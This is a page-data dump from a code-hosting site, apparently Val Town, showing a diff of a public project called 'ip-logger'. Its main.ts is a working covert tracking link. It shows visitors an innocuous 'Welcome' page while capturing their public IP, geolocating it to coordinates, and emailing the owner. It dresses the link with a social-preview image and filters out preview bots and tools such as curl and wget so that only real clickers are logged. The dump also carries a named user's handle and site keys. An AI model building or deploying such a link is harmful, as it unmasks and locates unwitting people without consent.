[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_162":163,"_164":165},"routes/_app.x.$handle.$name",{"_102":101,"_38":51,"_111":92,"_33":112,"_13":14,"_113":-5,"_11":114,"_115":116,"_117":118,"_119":120,"_121":122,"_26":-5,"_123":-5,"_124":-5,"_125":31,"_126":127,"_128":64,"_129":-5,"_130":-5,"_131":132},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":18,"_19":-5},"project",{"_49":50,"_38":51,"_44":52,"_53":-5,"_54":31,"_55":56,"_57":56,"_58":59,"_60":-5,"_19":61,"_62":37,"_63":64,"_65":-5,"_66":-5,"_67":68,"_69":70,"_71":-5,"_72":-5,"_73":-5,"_74":-5,"_75":76,"_77":76,"_78":79,"_80":79,"_81":79,"_82":76,"_83":76,"_84":85,"_86":87,"_88":89,"_90":31},"version",22,"changes",[25],"aiChatInfo",{"_20":21,"_22":-5,"_23":-5,"_24":-5},"userId","aiChatMessageId","ade8283a-cdb5-4e02-947b-2add9862632c","aiChatThreadId","aiChatThreadUserId","aiChatThreadTitle",{"_26":27,"_28":29,"_30":31,"_32":31,"_33":34,"_35":34},"file",{"_36":37,"_38":34,"_39":40,"_41":43,"_44":45,"_46":14,"_47":48,"_30":31},"previous",{"_36":37,"_38":34,"_39":40,"_41":42},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","ef419612-9dc2-11f1-96fa-1607ee4eb77e","name","fileType","http","content","import { email } from \"https://esm.town/v/std/email\";\n\n// Simple in-memory de-duplication to prevent spamming your email if they refresh\nconst recentVisits = new Map();\n\nexport default async function handler(req: Request): Promise {\n const url = new URL(req.url);\n\n // 0. Serve the Open Graph image for Discord / social embeds\n if (req.method === \"GET\" && url.pathname === \"/og.png\") {\n return generateOgImage();\n }\n\n // 1. Handle incoming data sent back by the visitor's browser JavaScript\n if (req.method === \"POST\" && url.pathname === \"/log-client-ip\") {\n try {\n const body = await req.json();\n const clientIP = body.clientIP || \"Unknown\";\n const headerIP = extractIP(req);\n const userAgent = req.headers.get(\"user-agent\") ?? \"Unknown Device\";\n const timestamp = new Date().toLocaleString(\"en-US\", { timeZone: \"UTC\" }) + \" UTC\";\n\n // Rate limit check: Don't email if we heard from this IP in the last 30 seconds\n const now = Date.now();\n const sendKey = clientIP !== \"Unknown\" ? clientIP : \"unknown\";\n if (recentVisits.has(sendKey) && (now - recentVisits.get(sendKey)!) < 30000) {\n return new Response(\"Logged\", { status: 200 });\n }\n recentVisits.set(sendKey, now);\n\n // The exact public IP confirmed by the browser (ipify). headerIP is a cross-check.\n const trueIP = clientIP !== \"Unknown\" ? clientIP : headerIP;\n\n // Fetch Geolocation data for this verified IP\n let geoDetails = \"\\n+ Metadata: Geolocation lookup failed\";\n try {\n const geoResponse = await fetch(\n `https://ip-api.com/json/${trueIP}?fields=status,message,lat,lon,timezone`,\n );\n if (geoResponse.ok) {\n const geoData = await geoResponse.json();\n if (geoData.status === \"success\") {\n geoDetails = `\\n+ Coordinates: ${geoData.lat}, ${geoData.lon}\\n+ Time Zone: ${geoData.timezone}`;\n }\n }\n } catch (e) {\n console.error(\"Geo lookup error:\", e);\n }\n\n // Send the finalized email alert\n await email({\n subject: `🌐 Verified Website Visit — IP: ${trueIP}`,\n text: `A visitor has opened your link!\\n\\n` +\n `+ True Public IP: ${trueIP}\\n` +\n `+ IP confirmed in-browser: ${clientIP !== \"Unknown\" ? \"Yes\" : \"No (used server header)\"}\\n` +\n `+ Server header IP (reference): ${headerIP}\\n` +\n `+ Timestamp: ${timestamp}\\n` +\n `+ Browser/Device: ${userAgent}\\n` +\n `${geoDetails}\\n`,\n });\n\n return new Response(\"Success\", { status: 200 });\n } catch (err) {\n return new Response(\"Error processing log\", { status: 500 });\n }\n }\n\n // 2. Server-Side IP Extraction from headers (real IP as seen by Cloudflare)\n function extractIP(req: Request): string {\n const candidates = [\n req.headers.get(\"cf-connecting-ip\"),\n req.headers.get(\"x-real-ip\"),\n req.headers.get(\"x-forwarded-for\")?.split(\",\")?.[0]?.trim(),\n ];\n const raw = candidates.find((v) => v !== null && v !== \"\");\n if (!raw) return \"Unknown IP\";\n return raw.replace(/^::ffff:/i, \"\").replace(/:\\d+$/, \"\");\n }\n\n const userAgent = req.headers.get(\"user-agent\") ?? \"Unknown Device\";\n const isBot = checkIfBot(userAgent);\n\n // 3. Return the HTML page with an embedded script that confirms the TRUE public IP\n return new Response(\n `\n \n \n \n \n Welcome\n \n \n \n \n \n \n \n \n \n \n \n

Hello there!

Your visit has been successfully processed.

\n\n \n \n `,\n { headers: { \"content-type\": \"text/html; charset=utf-8\" } },\n );\n}\n\n// Generates a 1200x630 Open Graph preview image (gradient + globe mark).\nasync function generateOgImage(): Promise {\n const { PNG } = await import(\"npm:pngjs@7\");\n const W = 1200;\n const H = 630;\n const png = new PNG({ width: W, height: H });\n\n // Soft teal->indigo vertical gradient, plus a subtle radial glow center-left.\n const top = [94, 179, 199]; // #5EB3C7\n const bot = [49, 64, 122]; // #31407A\n const cx = Math.floor(W * 0.32);\n const cy = Math.floor(H * 0.5);\n\n for (let y = 0; y < H; y++) {\n const t = y / (H - 1);\n const [r0, g0, b0] = top.map((v, i) => Math.round(v + (bot[i] - v) * t));\n for (let x = 0; x < W; x++) {\n let r = r0, g = g0, b = b0;\n\n // Radial glow toward the center of the globe\n const d = Math.hypot(x - cx, y - cy);\n if (d < 260) {\n const k = 1 - d / 260;\n r = Math.round(r + (255 - r) * k * 0.25);\n g = Math.round(g + (255 - g) * k * 0.25);\n b = Math.round(b + (255 - b) * k * 0.25);\n }\n\n const idx = (y * W + x) << 2;\n png.data[idx] = r;\n png.data[idx + 1] = g;\n png.data[idx + 2] = b;\n png.data[idx + 3] = 255;\n }\n }\n\n // Draw a simple rounded \"globe\": concentric rings around (cx, cy)\n const outer = Math.floor(120);\n const inner = Math.floor(112);\n for (let y = cy - outer; y <= cy + outer; y++) {\n for (let x = cx - outer; x <= cx + outer; x++) {\n if (x < 0 || x >= W || y < 0 || y >= H) continue;\n const d = Math.hypot(x - cx, y - cy);\n if (d <= outer && d >= inner) {\n const idx = (y * W + x) << 2;\n png.data[idx] = 255;\n png.data[idx + 1] = 255;\n png.data[idx + 2] = 255;\n png.data[idx + 3] = 235;\n }\n }\n }\n\n const buffer = PNG.sync.write(png);\n return new Response(new Uint8Array(buffer), {\n headers: {\n \"content-type\": \"image/png\",\n \"cache-control\": \"public, max-age=86400\",\n },\n });\n}\n\nfunction checkIfBot(userAgent: string): boolean {\n const uaLower = userAgent.toLowerCase();\n const botKeywords = [\n \"bot\", \"spider\", \"crawl\", \"slurp\", \"mediapartners\", \"preload\", \"crawler\",\n \"curl\", \"wget\", \"python-requests\", \"python-urllib\", \"go-http-client\",\n \"headless\", \"phantom\", \"selenium\", \"puppeteer\", \"playwright\",\n \"discordbot\", \"slackbot\", \"telegrambot\", \"whatsapp\", \"facebookexternalhit\",\n \"twitterbot\", \"linkedinbot\", \"googlebot\", \"bingbot\", \"yandex\", \"baiduspider\",\n \"duckduckbot\", \"applebot\", \"pingdom\", \"uptimerobot\", \"monitor\",\n \"facebook\", \"embedly\", \"quora\", \"pinterest\", \"skypeuripreview\",\n \"validator\", \"w3c_\", \"httpclient\", \"okhttp\", \"axios\", \"node-fetch\",\n \"libwww\", \"perl\", \"java/\", \"ruby\", \"scrapy\", \"guzzle\", \"postmanruntime\",\n ];\n return botKeywords.some((keyword) => uaLower.includes(keyword));\n}\n","import { email } from \"https://esm.town/v/std/email\";\n\n// Simple in-memory de-duplication to prevent spamming your email if they refresh\nconst recentVisits = new Map();\n\nexport default async function handler(req: Request): Promise {\n const url = new URL(req.url);\n\n // 0. Serve the Open Graph image for Discord / social embeds\n if (req.method === \"GET\" && url.pathname === \"/og.png\") {\n return generateOgImage();\n }\n\n // 1. Handle incoming data sent back by the visitor's browser JavaScript\n if (req.method === \"POST\" && url.pathname === \"/log-client-ip\") {\n try {\n // Defense in depth: never log/email if the caller itself appears to be a bot.\n const postUA = req.headers.get(\"user-agent\") ?? \"\";\n if (postUA && checkIfBot(postUA)) {\n return new Response(\"Ignored\", { status: 200 });\n }\n\n const body = await req.json();\n const clientIP = body.clientIP || \"Unknown\";\n const headerIP = extractIP(req);\n const userAgent = req.headers.get(\"user-agent\") ?? \"Unknown Device\";\n const timestamp = new Date().toLocaleString(\"en-US\", { timeZone: \"UTC\" }) + \" UTC\";\n\n // Rate limit check: Don't email if we heard from this IP in the last 30 seconds\n const now = Date.now();\n const sendKey = clientIP !== \"Unknown\" ? clientIP : \"unknown\";\n if (recentVisits.has(sendKey) && (now - recentVisits.get(sendKey)!) < 30000) {\n return new Response(\"Logged\", { status: 200 });\n }\n recentVisits.set(sendKey, now);\n\n // The exact public IP confirmed by the browser (ipify). headerIP is a cross-check.\n const trueIP = clientIP !== \"Unknown\" ? clientIP : headerIP;\n\n // Fetch Geolocation data for this verified IP\n let geoDetails = \"\\n+ Metadata: Geolocation lookup failed\";\n try {\n const geoResponse = await fetch(\n `https://ip-api.com/json/${trueIP}?fields=status,message,lat,lon,timezone`,\n );\n if (geoResponse.ok) {\n const geoData = await geoResponse.json();\n if (geoData.status === \"success\") {\n geoDetails = `\\n+ Coordinates: ${geoData.lat}, ${geoData.lon}\\n+ Time Zone: ${geoData.timezone}`;\n }\n }\n } catch (e) {\n console.error(\"Geo lookup error:\", e);\n }\n\n // Send the finalized email alert\n await email({\n subject: `🌐 Verified Website Visit — IP: ${trueIP}`,\n text: `A visitor has opened your link!\\n\\n` +\n `+ True Public IP: ${trueIP}\\n` +\n `+ IP confirmed in-browser: ${clientIP !== \"Unknown\" ? \"Yes\" : \"No (used server header)\"}\\n` +\n `+ Server header IP (reference): ${headerIP}\\n` +\n `+ Timestamp: ${timestamp}\\n` +\n `+ Browser/Device: ${userAgent}\\n` +\n `${geoDetails}\\n`,\n });\n\n return new Response(\"Success\", { status: 200 });\n } catch (err) {\n return new Response(\"Error processing log\", { status: 500 });\n }\n }\n\n // 2. Server-Side IP Extraction from headers (real IP as seen by Cloudflare)\n function extractIP(req: Request): string {\n const candidates = [\n req.headers.get(\"cf-connecting-ip\"),\n req.headers.get(\"x-real-ip\"),\n req.headers.get(\"x-forwarded-for\")?.split(\",\")?.[0]?.trim(),\n ];\n const raw = candidates.find((v) => v !== null && v !== \"\");\n if (!raw) return \"Unknown IP\";\n return raw.replace(/^::ffff:/i, \"\").replace(/:\\d+$/, \"\");\n }\n\n const userAgent = req.headers.get(\"user-agent\") ?? \"Unknown Device\";\n const isBot = checkIfBot(userAgent);\n\n // 3. Return the HTML page with an embedded script that confirms the TRUE public IP\n return new Response(\n `\n \n \n \n \n Welcome\n \n \n \n \n \n \n \n \n \n \n \n

Hello there!

Your visit has been successfully processed.

\n\n \n \n `,\n { headers: { \"content-type\": \"text/html; charset=utf-8\" } },\n );\n}\n\n// Generates a 1200x630 Open Graph preview image (gradient + globe mark).\nasync function generateOgImage(): Promise {\n const { PNG } = await import(\"npm:pngjs@7\");\n const W = 1200;\n const H = 630;\n const png = new PNG({ width: W, height: H });\n\n // Soft teal->indigo vertical gradient, plus a subtle radial glow center-left.\n const top = [94, 179, 199]; // #5EB3C7\n const bot = [49, 64, 122]; // #31407A\n const cx = Math.floor(W * 0.32);\n const cy = Math.floor(H * 0.5);\n\n for (let y = 0; y < H; y++) {\n const t = y / (H - 1);\n const [r0, g0, b0] = top.map((v, i) => Math.round(v + (bot[i] - v) * t));\n for (let x = 0; x < W; x++) {\n let r = r0, g = g0, b = b0;\n\n // Radial glow toward the center of the globe\n const d = Math.hypot(x - cx, y - cy);\n if (d < 260) {\n const k = 1 - d / 260;\n r = Math.round(r + (255 - r) * k * 0.25);\n g = Math.round(g + (255 - g) * k * 0.25);\n b = Math.round(b + (255 - b) * k * 0.25);\n }\n\n const idx = (y * W + x) << 2;\n png.data[idx] = r;\n png.data[idx + 1] = g;\n png.data[idx + 2] = b;\n png.data[idx + 3] = 255;\n }\n }\n\n // Draw a simple rounded \"globe\": concentric rings around (cx, cy)\n const outer = Math.floor(120);\n const inner = Math.floor(112);\n for (let y = cy - outer; y <= cy + outer; y++) {\n for (let x = cx - outer; x <= cx + outer; x++) {\n if (x < 0 || x >= W || y < 0 || y >= H) continue;\n const d = Math.hypot(x - cx, y - cy);\n if (d <= outer && d >= inner) {\n const idx = (y * W + x) << 2;\n png.data[idx] = 255;\n png.data[idx + 1] = 255;\n png.data[idx + 2] = 255;\n png.data[idx + 3] = 235;\n }\n }\n }\n\n const buffer = PNG.sync.write(png);\n return new Response(new Uint8Array(buffer), {\n headers: {\n \"content-type\": \"image/png\",\n \"cache-control\": \"public, max-age=86400\",\n },\n });\n}\n\nfunction checkIfBot(userAgent: string): boolean {\n const uaLower = userAgent.toLowerCase();\n const botKeywords = [\n \"bot\", \"spider\", \"crawl\", \"slurp\", \"mediapartners\", \"preload\", \"crawler\",\n \"curl\", \"wget\", \"python-requests\", \"python-urllib\", \"go-http-client\",\n \"headless\", \"phantom\", \"selenium\", \"puppeteer\", \"playwright\",\n \"discordbot\", \"slackbot\", \"telegrambot\", \"whatsapp\", \"facebookexternalhit\",\n \"twitterbot\", \"linkedinbot\", \"googlebot\", \"bingbot\", \"yandex\", \"baiduspider\",\n \"duckduckbot\", \"applebot\", \"pingdom\", \"uptimerobot\", \"monitor\",\n \"facebook\", \"embedly\", \"quora\", \"pinterest\", \"skypeuripreview\",\n \"validator\", \"w3c_\", \"httpclient\", \"okhttp\", \"axios\", \"node-fetch\",\n \"libwww\", \"perl\", \"java/\", \"ruby\", \"scrapy\", \"guzzle\", \"postmanruntime\",\n ];\n return botKeywords.some((keyword) => uaLower.includes(keyword));\n}\n","createdAt",["D",1787589840979],"branchVersion","branchId","39009a14-78e4-400f-8eb5-793bf4329490","id","5540b2dd-7a1e-4040-a45d-5ff96bb019a4","ip-logger",["D",1787359590173],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","HTTP endpoint that logs visitor IP and redirects","imageUrl","a39d0eed-f048-4232-8dd4-fbad13bcb2cd","pinnedFileId","pinPreview",true,"pinMigrated","screenshotVersion","likeCount",0,"orgId","01a026ee-2b78-75ea-9266-4000a582af1e","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_102":101,"_110":106},"org",{"_102":101,"_103":104,"_105":106,"_19":61,"_107":108,"_109":31},"branch",{"_13":91,"_38":92,"_49":48,"_93":50,"_94":-5,"_95":-5,"_96":-5,"_97":-5,"_98":-5,"_99":51,"_100":101},"isOwned",37,"main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","daytonbisaillonboxyboo2323","handle","displayName","Dayton Bisaillon (Boxyboo2323)","avatar","https://lh3.googleusercontent.com/a/ACg8ocKaXEuEllUihlkHhr6icLdcwzqhjJ7Ou0D78j3C43GFkczRiL2K=s96-c","tier","free","canRestrictVals","profileImageUrl","branchName","","adoptOrgId",{"_49":50,"_38":51,"_44":158,"_53":-5,"_54":31,"_55":56,"_57":56,"_58":59,"_60":-5,"_19":61,"_62":37,"_63":64,"_65":-5,"_66":-5,"_67":68,"_69":70,"_71":-5,"_72":-5,"_73":-5,"_74":-5,"_75":76,"_77":76,"_78":79,"_80":79,"_81":79,"_82":76,"_83":76,"_84":159,"_86":160,"_88":161,"_90":31},"tree",[153],"files",[153],"counts",{"_142":68,"_143":144,"_145":68,"_146":147,"_148":149},"contents",[133],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},{"_49":134,"_38":34,"_36":37,"_135":-5,"_47":48,"_46":14,"_136":31,"_44":137,"_13":138,"_39":40,"_41":43,"_30":31,"_139":140,"_33":141},"19beb045-03f1-4b4b-9f37-47b3f8f31e3f","parentId","latest",["D",1787589840979],21,"label","ycqq-l9s-h4c",[34],"pulls","branches",1,"forks","envVars",{"_150":144,"_152":68},"connections",{"_150":68,"_151":68},"count","unfilledCount","emptyCount",{"_49":134,"_38":34,"_36":37,"_135":-5,"_47":48,"_46":14,"_136":31,"_44":154,"_13":138,"_39":40,"_41":43,"_30":31,"_139":140,"_155":156,"_33":157},["D",1787589840979],"children",[],[34],["D",1787359590173],{"_102":101,"_110":106},{"_102":101,"_103":104,"_105":106,"_19":61,"_107":108,"_109":31},{"_13":91,"_38":92,"_49":48,"_93":50,"_94":-5,"_95":-5,"_96":-5,"_97":-5,"_98":-5,"_99":51,"_100":101},"ctx",{"_84":-5,"_130":195,"_196":197,"_198":199,"_200":31,"_201":31,"_202":31,"_203":64,"_204":-5,"_205":-7,"_206":-7,"_207":68,"_208":31,"_209":31,"_210":-5,"_211":31,"_212":31,"_213":31,"_214":-5},"ENV",{"_166":167,"_168":169,"_170":92,"_171":172,"_173":174,"_175":176,"_177":178,"_179":180,"_181":182,"_183":184,"_185":186,"_187":188,"_189":190,"_191":192,"_193":194},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Diff · v22